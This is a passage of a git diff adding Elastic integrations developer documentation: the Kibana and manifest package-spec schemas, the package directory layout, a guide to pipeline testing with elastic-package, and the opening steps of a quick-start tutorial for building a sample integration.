Kibana. The resulting policy is interpreted by the Elastic Agent to collect relevant information from the product or service being observed. + +Data streams are defined inside the `data_stream` folder located under the package’s root directory. Each data stream is defined in it’s own sub-folder. + +The data stream consists of: + +* Field definitions (`fields.yml` files) +* Zero or more ingest pipelines +* An Elastic Agent policy template + + +## Development Extensions: `_dev` directories [_development_extensions_dev_directories] + +The `_dev` directory is part of the [package-spec](https://github.com/elastic/package-spec), and contains development resources. These development resources cover any types of files or folders needed only at development time. This includes resources needed for testing, but also includes any templates that might be used for generating documentation. In the future it could include other files or folders needed just at development time. It can be defined on the following levels: + +1. The package-level `_dev` folder contains files needed to set up the testing environment for that package. This environment setup is specified by files and folders in the `_dev/deploy` folder. For example, the `apache` package [specifies](https://github.com/elastic/integrations/tree/main/packages/apache/_dev/deploy) how to spin up an Apache Docker container for testing. +2. The data stream-level `_dev` folder contains test configuration files for various types of tests. For example, see the [`_dev/test folder`](https://github.com/elastic/integrations/tree/main/packages/apache/data_stream/error/_dev/test) under the `apache/error` data stream. The integrations have also [asset](https://github.com/elastic/elastic-package/blob/main/docs/howto/asset_testing.md) and [static](https://github.com/elastic/elastic-package/blob/main/docs/howto/static_testing.md) tests. They don’t require config files, but configs can be used to mark them as optional. + diff --git a/docs/extend/integrations-guidelines.md b/docs/extend/integrations-guidelines.md new file mode 100644 index 00000000000..6a1633d4e00 --- /dev/null +++ b/docs/extend/integrations-guidelines.md @@ -0,0 +1,16 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/integrations-guidelines.html +--- + +# Integrations guidelines [integrations-guidelines] + +Refer to the following pages for some tips and recommendations for building integrations. + +* [General guidelines](/extend/general-guidelines.md) +* [Dashboard guidelines](/extend/dashboard-guidelines.md) +* [Documentation guidelines](/extend/documentation-guidelines.md) + + + + diff --git a/docs/extend/integrations-tsds-synthetic-source.md b/docs/extend/integrations-tsds-synthetic-source.md new file mode 100644 index 00000000000..a937f5badc1 --- /dev/null +++ b/docs/extend/integrations-tsds-synthetic-source.md @@ -0,0 +1,14 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/integrations-tsds-synthetic-source.html +--- + +# Working with new indexing features [integrations-tsds-synthetic-source] + +These pages include details for incorporating new indexing features into your integrations, such as time series data stream (TSDS), `doc-value-only` fields, and synthetic source. + +* [TSDS guidelines](/extend/developer-tsds-guidelines.md) +* [How to test new indexing features](/extend/testing-new-indexing-features.md) + + + diff --git a/docs/extend/kibana-spec.md b/docs/extend/kibana-spec.md new file mode 100644 index 00000000000..88097727d3c --- /dev/null +++ b/docs/extend/kibana-spec.md @@ -0,0 +1,162 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/kibana-spec.html +--- + +# kibana [kibana-spec] + +The integration’s {{kib}} assets, like dashboards, visualizations, {{ml}} modules, etc. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +spec: + additionalContents: false + contents: + - description: Folder containing Kibana dashboard assets + type: folder + name: dashboard + required: false + contents: + - description: A dashboard asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden + - description: Folder containing Kibana visualization assets + type: folder + name: visualization + required: false + contents: + - description: A visualization asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden + - description: Folder containing Kibana saved search assets + type: folder + name: search + required: false + contents: + - description: A saved search asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden + - description: Folder containing Kibana map assets + type: folder + name: map + required: false + contents: + - description: A map asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden + - description: Folder containing Kibana lens assets + type: folder + name: lens + required: false + contents: + - description: A lens asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden + - description: Folder containing Kibana index pattern assets + type: folder + name: "index_pattern" + required: false + contents: + - description: An index pattern asset file + type: file + contentMediaType: "application/json" + pattern: '^.+\.json$' + - description: Folder containing rules + type: folder + name: "security_rule" + required: false + contents: + - description: An individual rule file for the detection engine + type: file + contentMediaType: "application/json" + pattern: '^.+\.json$' + - description: Folder containing CSP rule templates + type: folder + name: "csp_rule_template" + required: false + contents: + - description: An individual CSP rule template file for the cloud security posture management solution + type: file + contentMediaType: "application/json" + pattern: '^.+\.json$' + - description: Folder containing ML module assets + type: folder + name: ml_module + required: false + contents: + - description: An ML module asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + - description: Folder containing Kibana tags + type: folder + name: tag + required: false + contents: + - description: A dashboard tag file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + - description: Folder containing Osquery pack assets + type: folder + name: osquery_pack_asset + required: false + contents: + - description: An osquery pack asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + - description: Folder containing Osquery saved queries + type: folder + name: osquery_saved_query + required: false + contents: + - description: An osquery saved query file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + - description: File containing saved object tag definitions for assets + type: file + contentMediaType: "application/x-yaml" + name: "tags.yml" + required: false + $ref: "./tags.spec.yml" + - description: Folder containing Kibana SLO assets + type: folder + name: slo + required: false + contents: + - description: An SLO asset file + type: file + contentMediaType: "application/json" + pattern: '^{PACKAGE_NAME}-.+\.json$' + forbiddenPatterns: + - '^.+-(ecs|ECS)\.json$' # ECS suffix is forbidden +versions: + - before: 3.4.0 + patch: + - op: remove + path: "/contents/13" # remove SLO definitions + - before: 2.10.0 + patch: + - op: remove + path: "/contents/12" # remove tags definition +``` diff --git a/docs/extend/manifest-spec.md b/docs/extend/manifest-spec.md new file mode 100644 index 00000000000..f510cd98ba2 --- /dev/null +++ b/docs/extend/manifest-spec.md @@ -0,0 +1,675 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/manifest-spec.html +--- + +# manifest.yml [manifest-spec] + +Integration metadata, like version, name, license level, description, category, icon and screenshot mappings, and policy template definitions. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +## +## Describes the specification for the integration package's main manifest.yml file +## +spec: + # Everything under here follows JSON schema (https://json-schema.org/), written as YAML for readability + type: object + additionalProperties: false + definitions: + agent: + description: Declarations related to Agent configurations or requirements. + type: object + additionalProperties: false + properties: + privileges: + type: object + additionalProperties: false + properties: + root: + description: Set to true if collection requires root privileges in the agent. + type: boolean + categories: + description: Categories to which this package belongs. + type: array + items: + type: string + enum: + - advanced_analytics_ueba + - analytics_engine + - application_observability + - app_search + - auditd + - authentication + - aws + - azure + - big_data + - cdn_security + - cloud + - cloudsecurity_cdr + - config_management + - connector + - connector_client + - connector_package + - containers + - content_source + - crawler + - credential_management + - crm + - custom + - custom_logs + - database_security + - datastore + - dns_security + - edr_xdr + - elasticsearch_sdk + - elastic_stack + - email_security + - enterprise_search + - firewall_security + - google_cloud + - iam + - ids_ips + - infrastructure + - java_observability + - kubernetes + - language_client + - languages + - load_balancer + - message_queue + - monitoring + - native_search + - network + - network_security + - notification + - observability + - os_system + - process_manager + - productivity + - productivity_security + - proxy_security + - sdk_search + - security + - stream_processing + - support + - threat_intel + - ticketing + - version_control + - virtualization + - vpn_security + - vulnerability_management + - web + - web_application_firewall + - websphere + - workplace_search + examples: + - web + conditions: + description: Conditions under which this package can be installed. + type: object + additionalProperties: false + properties: + elastic: + description: Elastic conditions + type: object + additionalProperties: false + properties: + subscription: + description: The subscription required for this package. + type: string + enum: + - basic + - gold + - platinum + - enterprise + default: basic + examples: + - basic + capabilities: + description: |- + Stack features that are required by the package to work properly. + The package should not be used in deployments without the indicated features. + Packages that don't indicate any capability condition can be used on any deployment. + type: array + uniqueItems: true + items: + type: string + enum: + - apm + - enterprise_search + - observability + - security + - serverless_search + - uptime + kibana: + description: Kibana conditions + type: object + additionalProperties: false + properties: + version: + type: string + description: Kibana versions compatible with this package. + examples: + - ">=7.9.0" + description: + description: > + A longer description of the package. It should describe, at least all the kinds of + data that is collected and with what collectors, following the structure + "Collect X from Y with X". + type: string + examples: + - Collect logs and metrics from Apache HTTP Servers with Elastic Agent. + - Collect logs and metrics from Amazon Web Services with Elastic Agent. + deployment_modes: + description: > + Options related to the deployment modes. The deployment mode refers to the mode used to + deploy the Elastic Agents running this policy. + type: object + additionalProperties: false + properties: + default: + description: > + Options specific to the default deployment mode, where agents are normally managed + by users, explicitly enrolled to Fleet and visible in UIs. + type: object + properties: + enabled: + description: > + Indicates if the default deployment mode is available for this template policy. + It is enabled by default. + type: boolean + default: true + agentless: + description: > + Options specific to the Agentless deployment mode. This mode is used in offerings + where the Elastic Agents running these policies are fully managed for the user. + type: object + additionalProperties: false + properties: + enabled: + description: > + Indicates if the agentless deployment mode is available for this template policy. + It is disabled by default. + type: boolean + default: false + is_default: + description: > + On policy templates that support multiple deployment modes, this setting can be set to + true to use agentless mode by default. + type: boolean + default: false + organization: + description: > + The responsible organization of the integration. This is used to tag the agentless agent deployments + for monitoring. + type: string + examples: + - "security" + division: + description: > + The division responsible for the integration. This is used to tag the agentless agent deployments + for monitoring. + type: string + examples: + - "cloud-security" + team: + description: > + The team responsible for the integration. This is used to tag the agentless + agent deployments for monitoring. + type: string + examples: + - "cloud-security-posture-management" + resources: + description: > + The computing resources specifications for the Agentless deployment. + type: object + additionalProperties: false + properties: + requests: + description: > + The computing resources that the Agentless deployment will be initially allocated. + type: object + additionalProperties: false + properties: + memory: + description: > + The amount of memory that the Agentless deployment will be initially allocated. + type: string + examples: + - "1G" + - "1.5G" + cpu: + description: > + The amount of CPUs that the Agentless deployment will be initially allocated. + type: string + examples: + - "1" + - "1.5" + - "1500m" + allOf: + - if: + properties: + enabled: + const: true + then: + required: + - organization + - division + - team + configuration_links: + description: List of links related to inputs and policy templates. + type: array + minItems: 1 + items: + type: object + additionalProperties: false + properties: + title: + description: Link title + type: string + url: + description: Link url. Format is `http://...` or `https://...` for external links, `kbn:/app/...` for links internal to Kibana. + type: string + pattern: '^(http(s)?://|kbn:/)' + type: + description: Type of link. `next_steps` for links to locations that can be relevant right after configuring the policy. `action` for actions that can be performed while the policy is in use. + type: string + enum: + - action + - next_step + content: + description: Link description + type: string + required: + - title + - url + - type + icons: + description: List of icons for by this package. + type: array + items: + type: object + additionalProperties: false + properties: + src: + description: Relative path to the icon's image file. + type: string + format: relative-path + examples: + - "/img/logo_apache.svg" + title: + description: Title of icon. + type: string + examples: + - "Apache Logo" + size: + description: Size of the icon. + type: string + examples: + - "32x32" + type: + description: MIME type of the icon image file. + type: string + examples: + - "image/svg+xml" + dark_mode: + description: Is this icon to be shown in dark mode? + type: boolean + default: false + required: + - src + screenshots: + description: List of screenshots of Kibana assets created by this package. + type: array + items: + type: object + additionalProperties: false + properties: + src: + description: Relative path to the screenshot's image file. + type: string + format: relative-path + examples: + - "/img/apache_httpd_server_status.png" + title: + description: Title of screenshot. + type: string + examples: + - "Apache HTTPD Server Status" + size: + description: Size of the screenshot. + type: string + examples: + - "1215x1199" + type: + description: MIME type of the screenshot image file. + type: string + examples: + - "image/png" + required: + - src + - title + source: + description: Information about the source of the package. + type: object + additionalProperties: false + properties: + license: + description: Identifier of the license of the package, as specified in https://spdx.org/licenses/. + type: string + enum: + - "Apache-2.0" + - "Elastic-2.0" + examples: + - "Elastic-2.0" + title: + description: > + Title of the package. It should be the usual title given to the product, service or + kind of source being managed by this package. + type: string + examples: + - Apache HTTP Server + - MySQL + - AWS + version: + description: Version of the package, following semantic versioning. It can include pre-release labels. + type: string + pattern: '^([0-9]+)\.([0-9]+)\.([0-9]+)(?:-([0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*))?(?:\+[0-9A-Za-z-]+)?$' + examples: + - "1.0.0" + - "1.0.0-beta1" + - "1.0.0-SNAPSHOT" + - "1.0.0-next" + owner: + type: object + additionalProperties: false + properties: + github: + description: Github team name of the package maintainer. + type: string + pattern: '^(([a-zA-Z0-9-_]+)|([a-zA-Z0-9-_]+\/[a-zA-Z0-9-_]+))$' + examples: + - "elastic" + - "apm-agent-java" + - "ux_infra_team" + type: + description: > + Describes who owns the package and the level of support that is + provided. The 'elastic' value indicates that the package is built + and maintained by Elastic. The 'partner' value indicates that the + package is built and maintained by a partner vendor and may include + involvement from Elastic. The 'community' value indicates the package + is built and maintained by non-Elastic community members. + type: string + default: community + enum: + - elastic + - partner + - community + examples: + - community + required: + - github + - type + properties: + format_version: + description: The version of the package specification format used by this package. + $ref: "#/definitions/version" + name: + description: The name of the package. + type: string + pattern: '^[a-z0-9_]+$' + examples: + - apache + title: + $ref: "#/definitions/title" + description: + $ref: "#/definitions/description" + version: + description: The version of the package. + $ref: "#/definitions/version" + source: + $ref: "#/definitions/source" + type: + description: The type of package. + type: string + enum: + - integration + examples: + - integration + categories: + $ref: "#/definitions/categories" + conditions: + $ref: "#/definitions/conditions" + # requires a conditional JSON schema to update the value depending + # on the policy_templates length + policy_templates_behavior: + description: > + Expected behavior when there are more than one policy template defined. + When set to `combined_policy`, a single policy template is available that + combines all the defined templates. When set to `individual_policies`, all + policies are individually available, but there is no combined policy. + The default value is `all`, where the combined policy template is available + along with the individual policies. + type: string + policy_templates: + description: List of policy templates offered by this package. + type: array + items: + type: object + additionalProperties: false + properties: + name: + description: Name of policy template. + type: string + examples: + - apache + title: + description: Title of policy template. + type: string + examples: + - Apache logs and metrics + categories: + $ref: "#/definitions/categories" + description: + description: Longer description of policy template. + type: string + examples: + - Collect logs and metrics from Apache instances + data_streams: + description: List of data streams compatible with the policy template. + type: array + items: + type: string + description: Data stream name + format: data-stream-name + examples: + - ec2_logs + - spamfirewall + - access + deployment_modes: + $ref: "#/definitions/deployment_modes" + configuration_links: + $ref: "#/definitions/configuration_links" + inputs: + description: List of inputs supported by policy template. + type: array + items: + type: object + additionalProperties: false + properties: + type: + description: Type of input. + type: string + title: + description: Title of input. + type: string + examples: + - Collect logs from Apache instances + description: + description: Longer description of input. + type: string + examples: + - Collecting Apache access and error logs + template_path: + description: Path of the config template for the input. + type: string + examples: + - ./agent/input/template.yml.hbs + input_group: + description: Name of the input group + type: string + enum: + - logs + - metrics + multi: + description: Can input be defined multiple times + type: boolean + default: false + required_vars: + $ref: "./data_stream/manifest.spec.yml#/definitions/required_vars" + vars: + $ref: "./data_stream/manifest.spec.yml#/definitions/vars" + required: + - type + - title + - description + multiple: + type: boolean + icons: + $ref: "#/definitions/icons" + screenshots: + $ref: "#/definitions/screenshots" + vars: + $ref: "./data_stream/manifest.spec.yml#/definitions/vars" + required: + - name + - title + - description + icons: + $ref: "#/definitions/icons" + screenshots: + $ref: "#/definitions/screenshots" + vars: + $ref: "./data_stream/manifest.spec.yml#/definitions/vars" + owner: + $ref: "#/definitions/owner" + agent: + $ref: "#/definitions/agent" + elasticsearch: + description: Elasticsearch requirements + type: object + additionalProperties: false + properties: + privileges: + description: Elasticsearch privilege requirements + type: object + additionalProperties: false + properties: + cluster: + # Available cluster privileges are available at https://www.elastic.co/guide/en/elasticsearch/reference/7.16/security-privileges.html#privileges-list-cluster + description: Elasticsearch cluster privilege requirements + type: array + items: + type: string + required: + - format_version + - name + - title + - description + - version + - type + - owner + allOf: + - if: + properties: + policy_templates: + maxItems: 1 + then: + properties: + policy_templates_behavior: + enum: + - all + default: all + else: + properties: + policy_templates_behavior: + enum: + - combined_policy + - individual_policies + - all + default: all + +# JSON patches for newer versions should be placed on top +versions: + - before: 3.3.2 + patch: + - op: remove + path: "/properties/policy_templates/items/properties/inputs/items/properties/required_vars" + - op: remove + path: "/definitions/deployment_modes/properties/agentless/properties/is_default" + - op: remove + path: "/definitions/deployment_modes/properties/agentless/properties/resources" + - before: 3.3.1 + patch: + - op: remove + path: "/properties/policy_templates/items/properties/configuration_links" + - before: 3.2.0 + patch: + - op: remove + path: "/definitions/deployment_modes/properties/default" + - before: 3.1.4 + patch: + - op: remove + path: "/properties/policy_templates/items/properties/deployment_modes" + - before: 3.0.0 + patch: + - op: replace + path: "/definitions/owner/required" + value: + - github + - before: 2.12.0 + patch: + - op: remove + path: "/properties/agent" + - before: 2.11.0 + patch: + - op: replace + path: "/definitions/owner/properties/type/default" + value: elastic + - before: 2.10.0 + patch: + - op: remove + path: "/definitions/conditions/properties/elastic/properties/capabilities" + - before: 2.3.0 + patch: + - op: add + path: "/properties/release" + value: + description: The stability of the package (deprecated, use prerelease tags in the version). + deprecated: true # See https://github.com/elastic/package-spec/issues/225 + type: string + enum: + - experimental + - beta + - ga + default: ga + examples: + - experimental + - before: 2.0.0 + patch: + - op: add + path: "/properties/license" + value: + description: The license under which the package is being released (deprecated, use subscription instead). + deprecated: true # See https://github.com/elastic/package-spec/issues/298. + type: string + enum: + - basic + default: basic + examples: + - basic +``` diff --git a/docs/extend/package-spec.md b/docs/extend/package-spec.md new file mode 100644 index 00000000000..0396c0e5346 --- /dev/null +++ b/docs/extend/package-spec.md @@ -0,0 +1,168 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/package-spec.html +--- + +# Package specification [package-spec] + +Integrations are a type of package and therefore must adhere to the Elastic package specification. The package specification describes: + +* The folder structure of a package and the expected files within these folders +* The structure of expected files' contents + + +### Asset organization [asset-organization] + +In general, assets within a package are organized by `/`. For example, ingest pipelines are stored in the `elasticsearch/ingest-pipeline` folder. This logic applies to all {{es}}, {{kib}}, and Agent assets. + +Top-level assets are picked up as JSON documents and pushed to the corresponding {{es}} and {{kib}} APIs. + + +#### Data streams [data-streams] + +There is a specific folder called `data_stream`. Each data stream should have its folder of assets within this folder, and the names of these data streams must follow the data stream naming scheme. + +The contents of these folders follow the `/` structure. During installation, {{fleet}} enforces data stream naming rules. All assets in this folder belong directly or indirectly to data streams. + +In most scenarios, only data stream assets are needed. However, there are exceptions where global assets are required to get more flexibility. For example, an {{ilm-init}} policy that applies to all data streams. + + +### Supported assets [supported-assets] + +The following assets are typically found in an Elastic package: + +* {es} + + * Ingest Pipeline + * Index Template + * Transform + * Index template settings + +* {kib} + + * Dashboards + * Visualization + * {data-sources-cap} + * {{ml-init}} Modules + * Map + * Search + * Security rules + +* Other + + * fields.yml + + + +### Directory structure [directory-structure] + +```text +apache +│ changelog.yml +│ manifest.yml +└───_dev +└───data_stream +└───docs +└───img +└───kibana +``` + + +### Spec [directory-spec] + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +## +## Entrypoint of "integration packages" specification. +## +## Describes the folders and files that make up a package. +## +spec: + additionalContents: true + totalContentsLimit: 65535 + totalSizeLimit: 250MB + sizeLimit: 150MB + configurationSizeLimit: 5MB + relativePathSizeLimit: 3MB + fieldsPerDataStreamLimit: 2048 + contents: + - description: The main package manifest file + type: file + contentMediaType: "application/x-yaml" + sizeLimit: 5MB + name: "manifest.yml" + required: true + $ref: "./manifest.spec.yml" + - description: The package's CHANGELOG file + type: file + contentMediaType: "application/x-yaml" + name: "changelog.yml" + required: true + $ref: "./changelog.spec.yml" + - description: The package's NOTICE file + type: file + contentMediaType: "text/plain" + name: "NOTICE.txt" + required: false + - description: The package's license file + type: file + contentMediaType: "text/plain" + name: "LICENSE.txt" + required: false + - description: Folder containing data stream definitions + type: folder + name: data_stream + required: false + $ref: "./data_stream/spec.yml" + - description: Folder containing documentation for the package + type: folder + name: docs + required: true + $ref: "./docs/spec.yml" + - description: Folder containing agent-related definitions + type: folder + name: agent + required: false + $ref: "./agent/spec.yml" + - description: Folder containing Kibana assets used by the package + type: folder + name: kibana + required: false + $ref: "./kibana/spec.yml" + - description: Folder containing development resources + type: folder + name: _dev + required: false + visibility: private + $ref: "./_dev/spec.yml" + - description: Folder containing Elasticsearch assets used by the package + type: folder + name: elasticsearch + required: false + $ref: "./elasticsearch/spec.yml" + - description: Configuration file to process the results returned from the package validation. This file is just for package validation and it should be ignored when installing or using the package. + type: file + contentMediaType: "application/x-yaml" + name: "validation.yml" + required: false + $ref: "./validation.spec.yml" + - description: Folder containing images for the package + type: folder + name: img + required: false + $ref: "./img/spec.yml" + +versions: + - before: 3.2.2 + patch: + - op: remove + path: "/contents/11" # Definition for img folder. +``` + + + + + + + diff --git a/docs/extend/pipeline-testing.md b/docs/extend/pipeline-testing.md new file mode 100644 index 00000000000..fe284b91d56 --- /dev/null +++ b/docs/extend/pipeline-testing.md @@ -0,0 +1,193 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/pipeline-testing.html +--- + +# Pipeline testing [pipeline-testing] + +Elastic Packages comprise of data streams. A pipeline test exercises {{es}} Ingest Node pipelines defined for a package’s data stream. + + +## Conceptual process [pipeline-concepts] + +Conceptually, running a pipeline test involves the following steps: + +1. Deploy the {{es}} instance (part of the {{stack}}). This step takes time, so you should typically do it once as a prerequisite to running pipeline tests on multiple data streams. +2. Upload ingest pipelines to be tested. +3. Use the [Simulate API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to process logs/metrics with the ingest pipeline. +4. Compare generated results with expected ones. + + +## Limitations [pipeline-limitations] + +At the moment, pipeline tests have limitations. The main ones are: * As you’re only testing the ingest pipeline, you can prepare mocked documents with imaginary fields, different from ones collected in {{beats}}. Also, the other way round, you can skip most of the example fields and use tiny documents with a minimal set of fields just to satisfy the pipeline validation. * There might be integrations that transform data mainly using {{beats}} processors instead of ingest pipelines. In such cases, ingest pipelines are rather plain. + + +## Defining a pipeline test [pipeline-defining-test] + +Packages have a specific folder structure (only relevant parts shown). + +```bash +/ + data_stream/ + / + manifest.yml + manifest.yml +``` + +To define a pipeline test we must define configuration at each dataset’s level: + +```bash +/ + data_stream/ + / + _dev/ + test/ + pipeline/ + (test case definitions, both raw files and input events, optional configuration) + manifest.yml + manifest.yml +``` + + +### Test case definitions [pipeline-test-case] + +There are two types of test case definitions - **raw files** and **input events**. + + +#### Raw files [pipeline-raw-files] + +The raw files simplify preparing test cases using real application `.log` files. A sample log (e.g. `test-access-sample.log`) file may look like the following one for Nginx: + +```bash +127.0.0.1 - - [07/Dec/2016:11:04:37 +0100] "GET /test1 HTTP/1.1" 404 571 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36" +127.0.0.1 - - [07/Dec/2016:11:04:58 +0100] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0" +127.0.0.1 - - [07/Dec/2016:11:04:59 +0100] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0" +``` + + +#### Input events [pipeline-input-events] + +The input events contain mocked JSON events that are ready to be passed to the ingest pipeline as-is. Such events can be helpful in situations in which an input event can’t be serialized to a standard log file, e.g. Redis input. A sample file with input events (e.g. `test-access-event.json`) looks as follows: + +```json +{ + "events": [ + { + "@timestamp": "2016-10-25T12:49:34.000Z", + "message": "127.0.0.1 - - [07/Dec/2016:11:04:37 +0100] \"GET /test1 HTTP/1.1\" 404 571 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\"\n" + }, + { + "@timestamp": "2016-10-25T12:49:34.000Z", + "message": "127.0.0.1 - - [07/Dec/2016:11:05:07 +0100] \"GET /taga HTTP/1.1\" 404 169 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0\"\n" + } + ] +} +``` + + +#### Test configuration [pipeline-test-config] + +Before sending log events to the ingest pipeline, a data transformation process is applied. The process can be customized using an optional configuration stored as a YAML file with the suffix `-config.yml` (e.g. `test-access-sample.log-config.yml`): + +```yaml +multiline: + first_line_pattern: "^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}" +fields: + "@timestamp": "2020-04-28T11:07:58.223Z" + ecs: + version: "1.5.0" + event.category: + - "web" +dynamic_fields: + url.original: "^/.*$" +numeric_keyword_fields: + - network.iana_number +``` + +The `multiline` section [raw files only](#pipeline-raw-files) configures the log file reader to detect multiline log entries using the `first_line_pattern`. Use this property if you may split your logs into multiple lines, e.g. Java stack traces. + +The `fields` section allows for customizing extra fields to be added to every read log entry (e.g. `@timestamp`, `ecs`). Use this property to extend your logs with data that can’t be extracted from log content, but it’s fine to have the same field values for every record (e.g. timezone, hostname). + +The `dynamic_fields` section allows for marking fields as dynamic (every time they have different non-static values), so that pattern matching instead of strict value check is applied. + +The `numeric_keyword_fields` section identifies fields whose values are numbers but are expected to be stored in {{es}} as `keyword` fields. + + +#### Expected results [pipeline-expected-results] + +Once the Simulate API processes the input data, the pipeline test runner will compare them with expected results. Test results are stored as JSON files with the suffix `-expected.json`. A sample test results file is shown below. + +```json +{ + "expected": [ + { + "@timestamp": "2016-12-07T10:04:37.000Z", + "nginx": { + "access": { + "remote_ip_list": [ + "127.0.0.1" + ] + } + }, + ... + }, + { + "@timestamp": "2016-12-07T10:05:07.000Z", + "nginx": { + "access": { + "remote_ip_list": [ + "127.0.0.1" + ] + } + }, + ... + } + ] +} +``` + +It’s possible to generate the expected test results from the output of the Simulate API. To do so, use the `--generate` switch: + +```bash +elastic-package test pipeline --generate +``` + + +## Running a pipeline test [pipeline-running-test] + +Once the configurations are defined as described in the previous section, you are ready to run pipeline tests for a package’s data streams. + +First, you must deploy the {{es}} instance. This corresponds to step 1 as described in the [Conceptual-process](#pipeline-concepts) section. + +```bash +elastic-package stack up -d --services=elasticsearch +``` + +For a complete listing of options available for this command, run `elastic-package stack up -h` or `elastic-package help stack up`. + +Next, you must set environment variables needed for further `elastic-package` commands. + +```bash +$(elastic-package stack shellinit) +``` + +Next, you must invoke the pipeline tests runner. This corresponds to steps 2 through 4 as described in the [Conceptual-process](#pipeline-concepts) section. + +If you want to run pipeline tests for **all data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test pipeline +``` + +If you want to run pipeline tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test pipeline --data-streams [,,...] +``` + +Finally, when you are done running all pipeline tests, bring down the {{stack}}. This corresponds to step 4 as described in the [Conceptual-process](#pipeline-concepts) section. + +```bash +elastic-package stack down +``` diff --git a/docs/extend/quick-start.md b/docs/extend/quick-start.md new file mode 100644 index 00000000000..dd733a848c5 --- /dev/null +++ b/docs/extend/quick-start.md @@ -0,0 +1,435 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/quick-start.html +--- + +# Quick start: Sample integration [quick-start] + +::::{note} +This quick start is designed for users familiar with the {{stack}}. If you’re new to Elastic, [*Build an integration*](/extend/build-new-integration.md) provides an in-depth look at creating a new integration. +:::: + + +This is a quick guide on how you can build your own integration package and upload it to Kibana. + +Follow these steps to create an integration package named `sample` and then add a `logs` dataset. The same procedure can be used for a `metrics` dataset, however for your first integration package `logs` is a bit simpler because a custom input is not required. + +* [Prerequisites](#qs-prereqs) +* [Step 1: Create the package](#qs-create-package) +* [Step 2: Upload the package to Kibana](#qs-test-upload) +* [Step 3: Create a dataset](#qs-create-dataset) +* [Step 4: Add processing](#qs-add-processing) +* [Step 5: Release a new version](#qs-release-new-version) +* [Step 6: Ingest data](#qs-ingest-data) +* [What’s next?](#qs-whats-next) + + +## Prerequisites [qs-prereqs] + +You’ll need to have a few requirements in place to run this tutorial: + +* [elastic-package](https://github.com/elastic/elastic-package) installed on your machine. This is a command line tool, written in Go, used for developing Elastic packages. It can help you lint, format, test, build, and promote your packages. Setup instructions can be found in the elastic-package repository readme. +* A [GitHub repository](https://github.com/) where you can upload your integration package. +* [Docker](https://www.docker.com/) set up and running on your machine. + + +## Step 1: Create the package [qs-create-package] + +1. To start, from inside a Git repository, run the `elastic-package create package` command. This will launch a wizard that will prompt you for some details, and will then build an empty package with all the necessary parts: + + ```console + elastic-package create package + ``` + +2. Respond to prompts as follows: + + * Package type: `integration` + * Package name: `sample` + * Version: `0.0.1` + * License: `Elastic-2.0` + * Package title: `My sample package` + * Description: `My first integrations package to collect logs` + * Categories: `custom` + * Kibana version constraint: `^8.12.2` + * Required Elastic subscription: `basic` + * Github owner: `` + * Owner type: `elastic` + +3. After entering the details, the command should return a confirmation that your package has been created. +4. Change into the new `sample` package directory. + + ```console + cd sample + ``` + +5. Validate that the new integration package was created correctly. + + 1. Check the linting rules for the package + + ```console + elastic-package lint + ``` + + 2. Format the package to fix linting + + ```console + elastic-package format + ``` + + 3. Build a `.zip` file out of the package assets + + ```console + elastic-package build + ``` + + 4. If you prefer, you can also run the three previous commands as a single batch: + + ```console + elastic-package check + ``` + + + +## Step 2: Upload the package to Kibana [qs-test-upload] + +1. To test that your package can be installed into Kibana, a cluster needs to spin up. For this step you to have a running Docker setup. Run the following command: + + ```console + elastic-package stack up --version=8.12.2 -v + ``` + + This spins up a cluster with the version 8.12.2 of the {{stack}}. The cluster can be accessed in your browser at [https://localhost:5601](https://localhost:5601) with username `elastic` and password `changeme`. + + ::::{note} + * If you want to update to the latest {{stack}} version, run `elastic-package stack update --version=8.12.2 -v`. + * You can also install the package directly into an existing cluster for testing. 